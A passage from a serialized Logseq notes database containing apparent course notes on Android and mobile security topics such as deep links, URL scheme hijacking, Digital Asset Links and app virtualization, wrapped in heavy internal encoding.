applogseq____",536877856]],[logseq____"^15logseq____",[836,logseq____"^Ologseq____",logseq____"^16logseq____",536877816]],[logseq____"^15logseq____",[836,logseq____"^@logseq____",false,536877816]],[logseq____"^15logseq____",[836,logseq____"^Flogseq____",835,536877816]],[logseq____"^15logseq____",[836,logseq____"^Xlogseq____",833,536877816]],[logseq____"^15logseq____",[836,logseq____"^Vlogseq____",835,536877821]],[logseq____"^15logseq____",[836,logseq____"^Ulogseq____",833,536877817]],[logseq____"^15logseq____",[836,logseq____"^?logseq____",[logseq____"^ logseq____"],536877856]],[logseq____"^15logseq____",[836,logseq____"^;logseq____",logseq____"~u67bb4c7c-eb11-4ead-b438-aeda6ff7a9f1logseq____",536877816]],[logseq____"^15logseq____",[840,logseq____"^Qlogseq____",logseq____"Web links: DeepLinks with `http` schemalogseq____",536877872]],[logseq____"^15logseq____",[840,logseq____"^Ologseq____",logseq____"^16logseq____",536877856]],[logseq____"^15logseq____",[840,logseq____"^@logseq____",false,536877856]],[logseq____"^15logseq____",[840,logseq____"^Flogseq____",836,536877856]],[logseq____"^15logseq____",[840,logseq____"^Xlogseq____",833,536877856]],[logseq____"^15logseq____",[840,logseq____"^Vlogseq____",835,536877856]],[logseq____"^15logseq____",[840,logseq____"^Ulogseq____",833,536877857]],[logseq____"^15logseq____",[840,logseq____"^?logseq____",[logseq____"^ logseq____"],536877872]],[logseq____"^15logseq____",[840,logseq____"^;logseq____",logseq____"~u67bb4cae-d48d-4f7c-9f70-b1066b810445logseq____",536877856]],[logseq____"^15logseq____",[841,logseq____"^Qlogseq____",logseq____"App links: Web links with `http`(`s`) and `autoVerify=True` (designate app as default for link after verification)logseq____",536877904]],[logseq____"^15logseq____",[841,logseq____"^Ologseq____",logseq____"^16logseq____",536877873]],[logseq____"^15logseq____",[841,logseq____"^@logseq____",false,536877873]],[logseq____"^15logseq____",[841,logseq____"^Flogseq____",840,536877873]],[logseq____"^15logseq____",[841,logseq____"^Xlogseq____",833,536877873]],[logseq____"^15logseq____",[841,logseq____"^Vlogseq____",835,536877873]],[logseq____"^15logseq____",[841,logseq____"^Ulogseq____",833,536877874]],[logseq____"^15logseq____",[841,logseq____"^?logseq____",[logseq____"^ logseq____"],536877904]],[logseq____"^15logseq____",[841,logseq____"^;logseq____",logseq____"~u67bb4cb8-83ea-41a7-8fa5-9f4c1eb5dfbblogseq____",536877873]],[logseq____"^15logseq____",[842,logseq____"^Qlogseq____",logseq____"Intent URL now specifies the target app by package namelogseq____",536878019]],[logseq____"^15logseq____",[842,logseq____"^Ologseq____",logseq____"^16logseq____",536877897]],[logseq____"^15logseq____",[842,logseq____"^@logseq____",false,536877897]],[logseq____"^15logseq____",[842,logseq____"^Flogseq____",846,536877988]],[logseq____"^15logseq____",[842,logseq____"^Xlogseq____",833,536877897]],[logseq____"^15logseq____",[842,logseq____"^Vlogseq____",846,536877988]],[logseq____"^15logseq____",[842,logseq____"^Ulogseq____",833,536878001]],[logseq____"^15logseq____",[842,logseq____"^?logseq____",[logseq____"^ logseq____"],536878019]],[logseq____"^15logseq____",[842,logseq____"^;logseq____",logseq____"~u67bb4cd5-ff98-45e7-9a72-d950f2e725b8logseq____",536877897]],[logseq____"^15logseq____",[843,logseq____"^Qlogseq____",logseq____"## Mobile DeepLink v1.0logseq____",536877928]],[logseq____"^15logseq____",[843,logseq____"^Ologseq____",logseq____"^16logseq____",536877904]],[logseq____"^15logseq____",[843,logseq____"^@logseq____",false,536877904]],[logseq____"^15logseq____",[843,logseq____"^Flogseq____",835,536877908]],[logseq____"^15logseq____",[843,logseq____"^Xlogseq____",833,536877904]],[logseq____"^15logseq____",[843,logseq____"^Vlogseq____",833,536877908]],[logseq____"^15logseq____",[843,logseq____"^Ulogseq____",833,536877905]],[logseq____"^15logseq____",[843,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877928]],[logseq____"^15logseq____",[843,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877928]],[logseq____"^15logseq____",[843,logseq____"^;logseq____",logseq____"~u67bb4cf6-e604-4e0d-87c4-ae980b861ac8logseq____",536877904]],[logseq____"^15logseq____",[844,logseq____"^Qlogseq____",logseq____"Hijacking URL schemes (no trusted GUI indicator for foreground app, senstive data may be included in URL)logseq____",536877965]],[logseq____"^15logseq____",[844,logseq____"^Ologseq____",logseq____"^16logseq____",536877928]],[logseq____"^15logseq____",[844,logseq____"^@logseq____",false,536877928]],[logseq____"^15logseq____",[844,logseq____"^Flogseq____",843,536877928]],[logseq____"^15logseq____",[844,logseq____"^Xlogseq____",833,536877928]],[logseq____"^15logseq____",[844,logseq____"^Vlogseq____",843,536877928]],[logseq____"^15logseq____",[844,logseq____"^Ulogseq____",833,536877929]],[logseq____"^15logseq____",[844,logseq____"^?logseq____",[logseq____"^ logseq____"],536877965]],[logseq____"^15logseq____",[844,logseq____"^;logseq____",logseq____"~u67bb4e43-b58a-40a6-bcdd-9032e1d1091dlogseq____",536877928]],[logseq____"^15logseq____",[845,logseq____"^Qlogseq____",logseq____"Installing malicious app before benign app causes problems when user selected \\logseq____"always open with logseq____<malicious applogseq____>\\logseq____"logseq____",536877981]],[logseq____"^15logseq____",[845,logseq____"^Ologseq____",logseq____"^16logseq____",536877966]],[logseq____"^15logseq____",[845,logseq____"^@logseq____",false,536877966]],[logseq____"^15logseq____",[845,logseq____"^Flogseq____",844,536877966]],[logseq____"^15logseq____",[845,logseq____"^Xlogseq____",833,536877966]],[logseq____"^15logseq____",[845,logseq____"^Vlogseq____",843,536877966]],[logseq____"^15logseq____",[845,logseq____"^Ulogseq____",833,536877967]],[logseq____"^15logseq____",[845,logseq____"^?logseq____",[logseq____"^ logseq____"],536877981]],[logseq____"^15logseq____",[845,logseq____"^;logseq____",logseq____"~u67bb4e6f-daf5-4007-af3e-418add92125alogseq____",536877966]],[logseq____"^15logseq____",[846,logseq____"^Qlogseq____",logseq____"## Mobile DeepLink v2.0logseq____",536878000]],[logseq____"^15logseq____",[846,logseq____"^Ologseq____",logseq____"^16logseq____",536877984]],[logseq____"^15logseq____",[846,logseq____"^@logseq____",false,536877984]],[logseq____"^15logseq____",[846,logseq____"^Flogseq____",843,536877988]],[logseq____"^15logseq____",[846,logseq____"^Xlogseq____",833,536877984]],[logseq____"^15logseq____",[846,logseq____"^Vlogseq____",833,536877988]],[logseq____"^15logseq____",[846,logseq____"^Ulogseq____",833,536877985]],[logseq____"^15logseq____",[846,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878000]],[logseq____"^15logseq____",[846,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878000]],[logseq____"^15logseq____",[846,logseq____"^;logseq____",logseq____"~u67bb4ea1-9a09-4486-8319-94bb4334a2f2logseq____",536877984]],[logseq____"^15logseq____",[847,logseq____"^Qlogseq____",logseq____"## Digital Asset Links for Androidlogseq____",536878041]],[logseq____"^15logseq____",[847,logseq____"^Ologseq____",logseq____"^16logseq____",536878022]],[logseq____"^15logseq____",[847,logseq____"^@logseq____",false,536878022]],[logseq____"^15logseq____",[847,logseq____"^Flogseq____",846,536878026]],[logseq____"^15logseq____",[847,logseq____"^Xlogseq____",833,536878022]],[logseq____"^15logseq____",[847,logseq____"^Vlogseq____",833,536878026]],[logseq____"^15logseq____",[847,logseq____"^Ulogseq____",833,536878023]],[logseq____"^15logseq____",[847,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878041]],[logseq____"^15logseq____",[847,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878041]],[logseq____"^15logseq____",[847,logseq____"^;logseq____",logseq____"~u67bb4ef3-f942-4ebb-a139-dc26334aaba6logseq____",536878022]],[logseq____"^15logseq____",[848,logseq____"^Qlogseq____",logseq____"Protocol and API enable an app or website to make verifiable statementslogseq____",536878054]],[logseq____"^15logseq____",[848,logseq____"^Ologseq____",logseq____"^16logseq____",536878041]],[logseq____"^15logseq____",[848,logseq____"^@logseq____",false,536878041]],[logseq____"^15logseq____",[848,logseq____"^Flogseq____",847,536878041]],[logseq____"^15logseq____",[848,logseq____"^Xlogseq____",833,536878041]],[logseq____"^15logseq____",[848,logseq____"^Vlogseq____",847,536878065]],[logseq____"^15logseq____",[848,logseq____"^Ulogseq____",833,536878042]],[logseq____"^15logseq____",[848,logseq____"^?logseq____",[logseq____"^ logseq____"],536878054]],[logseq____"^15logseq____",[848,logseq____"^;logseq____",logseq____"~u67bb4f50-ba21-4982-a039-58b1a5848e35logseq____",536878041]],[logseq____"^15logseq____",[850,logseq____"^Qlogseq____",logseq____"Website can declare its app association with specific android app (file on webserver at some `/.well-known` location)logseq____",536878124]],[logseq____"^15logseq____",[850,logseq____"^Ologseq____",logseq____"^16logseq____",536878066]],[logseq____"^15logseq____",[850,logseq____"^@logseq____",false,536878066]],[logseq____"^15logseq____",[850,logseq____"^Flogseq____",848,536878073]],[logseq____"^15logseq____",[850,logseq____"^Xlogseq____",833,536878066]],[logseq____"^15logseq____",[850,logseq____"^Vlogseq____",847,536878073]],[logseq____"^15logseq____",[850,logseq____"^Ulogseq____",833,536878067]],[logseq____"^15logseq____",[850,logseq____"^?logseq____",[logseq____"^ logseq____"],536878124]],[logseq____"^15logseq____",[850,logseq____"^;logseq____",logseq____"~u67bb4f62-dea6-4126-9474-cc54a2a8b279logseq____",536878066]],[logseq____"^15logseq____",[851,logseq____"^Qlogseq____",logseq____"Rejected if misconfigured, wrong path or not served via `https`logseq____",536878143]],[logseq____"^15logseq____",[851,logseq____"^Ologseq____",logseq____"^16logseq____",536878125]],[logseq____"^15logseq____",[851,logseq____"^@logseq____",false,536878125]],[logseq____"^15logseq____",[851,logseq____"^Flogseq____",850,536878125]],[logseq____"^15logseq____",[851,logseq____"^Xlogseq____",833,536878125]],[logseq____"^15logseq____",[851,logseq____"^Vlogseq____",847,536878125]],[logseq____"^15logseq____",[851,logseq____"^Ulogseq____",833,536878126]],[logseq____"^15logseq____",[851,logseq____"^?logseq____",[logseq____"^ logseq____"],536878143]],[logseq____"^15logseq____",[851,logseq____"^;logseq____",logseq____"~u67bb4f88-adcb-459f-8152-bca9bb5ac994logseq____",536878125]],[logseq____"^15logseq____",[852,logseq____"^Qlogseq____",logseq____"Association can be configured in settingslogseq____",536878156]],[logseq____"^15logseq____",[852,logseq____"^Ologseq____",logseq____"^16logseq____",536878146]],[logseq____"^15logseq____",[852,logseq____"^@logseq____",false,536878146]],[logseq____"^15logseq____",[852,logseq____"^Flogseq____",851,536878146]],[logseq____"^15logseq____",[852,logseq____"^Xlogseq____",833,536878146]],[logseq____"^15logseq____",[852,logseq____"^Vlogseq____",847,536878146]],[logseq____"^15logseq____",[852,logseq____"^Ulogseq____",833,536878147]],[logseq____"^15logseq____",[852,logseq____"^?logseq____",[logseq____"^ logseq____"],536878156]],[logseq____"^15logseq____",[852,logseq____"^;logseq____",logseq____"~u67bb4fcc-0ca3-4fe4-be44-de30a6d61699logseq____",536878146]],[logseq____"^15logseq____",[853,logseq____"^12logseq____",2,536878160]],[logseq____"^15logseq____",[854,logseq____"^Klogseq____",1740470715390,536878163]],[logseq____"^15logseq____",[854,logseq____"^@logseq____",false,536878163]],[logseq____"^15logseq____",[854,logseq____"^Ylogseq____",logseq____"isolated executionlogseq____",536878163]],[logseq____"^15logseq____",[854,logseq____"^11logseq____",logseq____"Isolated Executionlogseq____",536878163]],[logseq____"^15logseq____",[854,logseq____"^Blogseq____",1740473666898,536878600]],[logseq____"^15logseq____",[854,logseq____"^;logseq____",logseq____"~u67bd79bc-c519-4db7-ac9f-44a425d9da35logseq____",536878170]],[logseq____"^15logseq____",[855,logseq____"^Klogseq____",1740470715389,536878163]],[logseq____"^15logseq____",[855,logseq____"^@logseq____",false,536878163]],[logseq____"^15logseq____",[855,logseq____"^Ylogseq____",logseq____"inlined reference monitorlogseq____",536878163]],[logseq____"^15logseq____",[855,logseq____"^11logseq____",logseq____"Inlined Reference Monitorlogseq____",536878163]],[logseq____"^15logseq____",[855,logseq____"^Blogseq____",1740470715389,536878163]],[logseq____"^15logseq____",[855,logseq____"^;logseq____",logseq____"~u67bd79bc-536b-40e4-abbb-36503637c32clogseq____",536878168]],[logseq____"^15logseq____",[856,logseq____"^Klogseq____",1740470715389,536878163]],[logseq____"^15logseq____",[856,logseq____"^@logseq____",false,536878163]],[logseq____"^15logseq____",[856,logseq____"^Ylogseq____",logseq____"compiler-based instrumentationlogseq____",536878163]],[logseq____"^15logseq____",[856,logseq____"^11logseq____",logseq____"Compiler-based Instrumentationlogseq____",536878163]],[logseq____"^15logseq____",[856,logseq____"^Blogseq____",1740470715389,536878163]],[logseq____"^15logseq____",[856,logseq____"^;logseq____",logseq____"~u67bd79bc-ed00-42b3-83d1-7c55e27d1e57logseq____",536878166]],[logseq____"^15logseq____",[857,logseq____"^Klogseq____",1740470715390,536878163]],[logseq____"^15logseq____",[857,logseq____"^@logseq____",false,536878163]],[logseq____"^15logseq____",[857,logseq____"^Ylogseq____",logseq____"app virtualizationlogseq____",536878163]],[logseq____"^15logseq____",[857,logseq____"^11logseq____",logseq____"App Virtualizationlogseq____",536878163]],[logseq____"^15logseq____",[857,logseq____"^Blogseq____",1740470715390,536878163]],[logseq____"^15logseq____",[857,logseq____"^;logseq____",logseq____"~u67bd79bb-d8f2-4b86-8e6a-803e2a3e6a66logseq____",536878164]],[logseq____"^15logseq____",[858,logseq____"^Qlogseq____",logseq____"## [[Compiler-based Instrumentation]]logseq____",536878163]],[logseq____"^15logseq____",[858,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[858,logseq____"^Flogseq____",862,536878163]],[logseq____"^15logseq____",[858,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[858,logseq____"^Vlogseq____",860,536878163]],[logseq____"^15logseq____",[858,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[858,logseq____"^Ulogseq____",856,536878163]],[logseq____"^15logseq____",[858,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[858,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[858,logseq____"^Hlogseq____",856,536878163]],[logseq____"^15logseq____",[858,logseq____"^;logseq____",logseq____"~u67bd79bb-f994-4c58-beaa-7bb25db0e765logseq____",536878163]],[logseq____"^15logseq____",[859,logseq____"^Qlogseq____",logseq____"## [[Isolated Execution]]logseq____",536878163]],[logseq____"^15logseq____",[859,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[859,logseq____"^Flogseq____",864,536878163]],[logseq____"^15logseq____",[859,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[859,logseq____"^Vlogseq____",864,536878163]],[logseq____"^15logseq____",[859,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[859,logseq____"^Ulogseq____",854,536878163]],[logseq____"^15logseq____",[859,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[859,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[859,logseq____"^Hlogseq____",854,536878163]],[logseq____"^15logseq____",[859,logseq____"^;logseq____",logseq____"~u67bd79bb-e58b-4328-9531-3671d989b5a8logseq____",536878163]],[logseq____"^15logseq____",[860,logseq____"^Qlogseq____",logseq____"# Topic 6 - Application Layer Security Extensionslogseq____",536878163]],[logseq____"^15logseq____",[860,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[860,logseq____"^Flogseq____",690,536878163]],[logseq____"^15logseq____",[860,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[860,logseq____"^Vlogseq____",296,536878163]],[logseq____"^15logseq____",[860,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[860,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[860,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[860,logseq____"^;logseq____",logseq____"~u67bd79bb-2580-45a7-8b1e-906b541a6cf5logseq____",536878163]],[logseq____"^15logseq____",[861,logseq____"^Qlogseq____",logseq____"## [[App Virtualization]]logseq____",536878163]],[logseq____"^15logseq____",[861,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[861,logseq____"^Flogseq____",858,536878163]],[logseq____"^15logseq____",[861,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[861,logseq____"^Vlogseq____",860,536878163]],[logseq____"^15logseq____",[861,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[861,logseq____"^Ulogseq____",857,536878163]],[logseq____"^15logseq____",[861,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[861,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[861,logseq____"^Hlogseq____",857,536878163]],[logseq____"^15logseq____",[861,logseq____"^;logseq____",logseq____"~u67bd79bb-cf2b-4020-aff4-6e2aa00dbc0clogseq____",536878163]],[logseq____"^15logseq____",[862,logseq____"^Qlogseq____",logseq____"## [[Inlined Reference Monitor]]logseq____",536878163]],[logseq____"^15logseq____",[862,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[862,logseq____"^Flogseq____",860,536878163]],[logseq____"^15logseq____",[862,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[862,logseq____"^Vlogseq____",860,536878163]],[logseq____"^15logseq____",[862,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[862,logseq____"^Ulogseq____",855,536878163]],[logseq____"^15logseq____",[862,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[862,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[862,logseq____"^Hlogseq____",855,536878163]],[logseq____"^15logseq____",[862,logseq____"^;logseq____",logseq____"~u67bd79bb-26f6-491f-916f-77ca2a682b60logseq____",536878163]],[logseq____"^15logseq____",[863,logseq____"^Qlogseq____",logseq____"## [[Vulnerabilities logseq____& Attacks]]logseq____",536878607]],[logseq____"^15logseq____",[863,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[863,logseq____"^Flogseq____",859,536878163]],[logseq____"^15logseq____",[863,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[863,logseq____"^Vlogseq____",864,536878163]],[logseq____"^15logseq____",[863,logseq____"^Ulogseq____",296,536878608]],[logseq____"^15logseq____",[863,logseq____"^Ulogseq____",998,536878608]],[logseq____"^15logseq____",[863,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878607]],[logseq____"^15logseq____",[863,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536878607]],[logseq____"^15logseq____",[863,logseq____"^Hlogseq____",998,536878607]],[logseq____"^15logseq____",[863,logseq____"^;logseq____",logseq____"~u67bd79bb-36d4-4641-85be-c3cd3674f6b9logseq____",536878163]],[logseq____"^15logseq____",[864,logseq____"^Qlogseq____",logseq____"# Topic 7 - Hardware-Based Platform Securitylogseq____",536878163]],[logseq____"^15logseq____",[864,logseq____"^Ologseq____",logseq____"^16logseq____",536878163]],[logseq____"^15logseq____",[864,logseq____"^Flogseq____",860,536878163]],[logseq____"^15logseq____",[864,logseq____"^Xlogseq____",296,536878163]],[logseq____"^15logseq____",[864,logseq____"^Vlogseq____",296,536878163]],[logseq____"^15logseq____",[864,logseq____"^Ulogseq____",296,536878163]],[logseq____"^15logseq____",[864,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[864,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[864,logseq____"^;logseq____",logseq____"~u67bd79bb-2023-43d0-95b8-d1e9adf92432logseq____",536878163]],[logseq____"^15logseq____",[866,logseq____"^Qlogseq____",logseq____"## Isolated Processeslogseq____",536878164]],[logseq____"^15logseq____",[866,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[866,logseq____"^Flogseq____",878,536878164]],[logseq____"^15logseq____",[866,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[866,logseq____"^Vlogseq____",857,536878164]],[logseq____"^15logseq____",[866,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[866,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878164]],[logseq____"^15logseq____",[866,logseq____"^Jlogseq____",[],536878164]],[logseq____"^15logseq____",[866,logseq____"^;logseq____",logseq____"~u67bd79bb-20bb-4537-a68f-c0c83f83ecadlogseq____",536878164]],[logseq____"^15logseq____",[867,logseq____"^Qlogseq____",logseq____"Restricted write to filesystemlogseq____",536878164]],[logseq____"^15logseq____",[867,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[867,logseq____"^Flogseq____",879,536878164]],[logseq____"^15logseq____",[867,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[867,logseq____"^Vlogseq____",881,536878164]],[logseq____"^15logseq____",[867,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[867,logseq____"^;logseq____",logseq____"~u67bd79bb-cf2b-49f3-a685-e09c391dd1a9logseq____",536878164]],[logseq____"^15logseq____",[868,logseq____"^Qlogseq____",logseq____"Baseline enforcement logseq____& virtual system serviceslogseq____",536878164]],[logseq____"^15logseq____",[868,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[868,logseq____"^Flogseq____",875,536878164]],[logseq____"^15logseq____",[868,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[868,logseq____"^Vlogseq____",887,536878164]],[logseq____"^15logseq____",[868,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[868,logseq____"^;logseq____",logseq____"~u67bd79bb-b41d-423b-9bef-85b3713a4ccblogseq____",536878164]],[logseq____"^15logseq____",[869,logseq____"^Qlogseq____",logseq____"Easy to deploy (no firmware/application modification / root)logseq____",536878164]],[logseq____"^15logseq____",[869,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[869,logseq____"^Flogseq____",878,536878164]],[logseq____"^15logseq____",[869,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[869,logseq____"^Vlogseq____",878,536878164]],[logseq____"^15logseq____",[869,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[869,logseq____"^;logseq____",logseq____"~u67bd79bb-82a6-45c1-860f-698b405d4ebblogseq____",536878164]],[logseq____"^15logseq____",[870,logseq____"^Qlogseq____",logseq____"Zero permissions (no permissions assigned to UID)logseq____",536878164]],[logseq____"^15logseq____",[870,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[870,logseq____"^Flogseq____",881,536878164]],[logseq____"^15logseq____",[870,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[870,logseq____"^Vlogseq____",881,536878164]],[logseq____"^15logseq____",[870,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[870,logseq____"^;logseq____",logseq____"~u67bd79bb-4444-4f77-8809-9b608f852d5elogseq____",536878164]],[logseq____"^15logseq____",[871,logseq____"^Qlogseq____",logseq____"## Limitslogseq____",536878164]],[logseq____"^15logseq____",[871,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[871,logseq____"^Flogseq____",872,536878164]],[logseq____"^15logseq____",[871,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[871,logseq____"^Vlogseq____",857,536878164]],[logseq____"^15logseq____",[871,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[871,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878164]],[logseq____"^15logseq____",[871,logseq____"^Jlogseq____",[],536878164]],[logseq____"^15logseq____",[871,logseq____"^;logseq____",logseq____"~u67bd79bb-180a-42ab-a1d9-ad47afb79071logseq____",536878164]],[logseq____"^15logseq____",[872,logseq____"^Qlogseq____",logseq____"## Brokerlogseq____",536878164]],[logseq____"^15logseq____",[872,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[872,logseq____"^Flogseq____",888,536878164]],[logseq____"^15logseq____",[872,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[872,logseq____"^Vlogseq____",857,536878164]],[logseq____"^15logseq____",[872,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[872,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878164]],[logseq____"^15logseq____",[872,logseq____"^Jlogseq____",[],536878164]],[logseq____"^15logseq____",[872,logseq____"^;logseq____",logseq____"~u67bd79bb-7ec7-4172-af15-3c6f1c00e691logseq____",536878164]],[logseq____"^15logseq____",[873,logseq____"^Qlogseq____",logseq____"IPC Shim: Divert [[Binder IPC]] to some brokerlogseq____",536878164]],[logseq____"^15logseq____",[873,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[873,logseq____"^Flogseq____",888,536878164]],[logseq____"^15logseq____",[873,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[873,logseq____"^Vlogseq____",888,536878164]],[logseq____"^15logseq____",[873,logseq____"^Ulogseq____",413,536878164]],[logseq____"^15logseq____",[873,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[873,logseq____"^Hlogseq____",413,536878164]],[logseq____"^15logseq____",[873,logseq____"^;logseq____",logseq____"~u67bd79bb-efe2-473f-bea1-35bca01c33b4logseq____",536878164]],[logseq____"^15logseq____",[874,logseq____"^Qlogseq____",logseq____"Strong security (protected reference monitor, failsafe defaults)logseq____",536878164]],[logseq____"^15logseq____",[874,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[874,logseq____"^Flogseq____",869,536878164]],[logseq____"^15logseq____",[874,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[874,logseq____"^Vlogseq____",878,536878164]],[logseq____"^15logseq____",[874,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[874,logseq____"^;logseq____",logseq____"~u67bd79bb-24ee-4f87-8a49-e81bfee1e1c5logseq____",536878164]],[logseq____"^15logseq____",[875,logseq____"^Qlogseq____",logseq____"Establishes compatibility between Android versionslogseq____",536878164]],[logseq____"^15logseq____",[875,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[875,logseq____"^Flogseq____",887,536878164]],[logseq____"^15logseq____",[875,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[875,logseq____"^Vlogseq____",887,536878164]],[logseq____"^15logseq____",[875,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[875,logseq____"^;logseq____",logseq____"~u67bd79bb-ad6b-488d-b045-e7447dfc6057logseq____",536878164]],[logseq____"^15logseq____",[876,logseq____"^Qlogseq____",logseq____"Translates between Host and Android systemlogseq____",536878164]],[logseq____"^15logseq____",[876,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[876,logseq____"^Flogseq____",868,536878164]],[logseq____"^15logseq____",[876,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[876,logseq____"^Vlogseq____",887,536878164]],[logseq____"^15logseq____",[876,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[876,logseq____"^;logseq____",logseq____"~u67bd79bb-71d2-4d68-af1e-ec8dfc44cf66logseq____",536878164]],[logseq____"^15logseq____",[877,logseq____"^Qlogseq____",logseq____"Violates ((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)): Permissions required cannot be predicted, thus, Broker must request all permissions to successfully mediate between target and application frameworklogseq____",536878164]],[logseq____"^15logseq____",[877,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[877,logseq____"^Flogseq____",880,536878164]],[logseq____"^15logseq____",[877,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[877,logseq____"^Vlogseq____",871,536878164]],[logseq____"^15logseq____",[877,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[877,logseq____"^Hlogseq____",234,536878164]],[logseq____"^15logseq____",[877,logseq____"^;logseq____",logseq____"~u67bd79bb-4af9-4411-8e65-c351457c164elogseq____",536878164]],[logseq____"^15logseq____",[878,logseq____"^Qlogseq____",logseq____"## Objectiveslogseq____",536878164]],[logseq____"^15logseq____",[878,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[878,logseq____"^Flogseq____",857,536878164]],[logseq____"^15logseq____",[878,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[878,logseq____"^Vlogseq____",857,536878164]],[logseq____"^15logseq____",[878,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[878,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878164]],[logseq____"^15logseq____",[878,logseq____"^Jlogseq____",[],536878164]],[logseq____"^15logseq____",[878,logseq____"^;logseq____",logseq____"~u67bd79bb-c692-48d2-925f-5df4db61aecflogseq____",536878164]],[logseq____"^15logseq____",[879,logseq____"^Qlogseq____",logseq____"No access to system 